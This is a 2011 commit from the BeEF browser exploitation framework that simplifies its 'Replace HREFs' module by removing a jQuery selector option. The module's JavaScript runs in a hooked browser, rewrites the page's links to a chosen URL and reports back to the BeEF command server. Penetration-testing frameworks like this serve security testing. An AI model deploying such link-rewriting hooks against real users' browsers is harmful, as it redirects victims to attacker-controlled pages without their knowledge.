(Fixes issue 450) Simplified the link rewriter module.

git-svn-id: https://beef.googlecode.com/svn/trunk@1370 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
avlidienbrunn@gmail.com
2011-10-19 07:55:51 +00:00
parent 352f77769e
commit 409d320778
3 changed files with 3 additions and 4 deletions

View File

@@ -14,6 +14,6 @@
// limitations under the License.
//
beef.execute(function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinks('<%= @url %>', '<%= @selector %>')+' links rewritten to <%= @url %>');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinks('<%= @url %>')+' links rewritten to <%= @url %>');
});

View File

@@ -19,7 +19,7 @@ beef:
enable: true
category: "Browser"
name: "Replace HREFs"
description: "This module will rewrite all the href attributes of all matched links.<br /><br />The jQuery selector field can be used to limit the selection of links. eg: a[href=\"http://beefproject.com\"]. For more information please see: http://api.jquery.com/category/selectors/"
description: "This module will rewrite all the href attributes of all matched links."
authors: ["passbe"]
target:
working: ["ALL"]

View File

@@ -17,8 +17,7 @@ class Link_rewrite < BeEF::Core::Command
def self.options
return [
{ 'ui_label'=>'URL', 'name'=>'url', 'description' => 'Target URL', 'value'=>'http://beefproject.com/', 'width'=>'200px' },
{ 'ui_label'=>'jQuery Selector', 'name'=>'selector', 'description' => 'Optional link selector other than all a* tags', 'value'=>'a', 'width'=>'200px' }
{ 'ui_label'=>'URL', 'name'=>'url', 'description' => 'Target URL', 'value'=>'http://beefproject.com/', 'width'=>'200px' }
]
end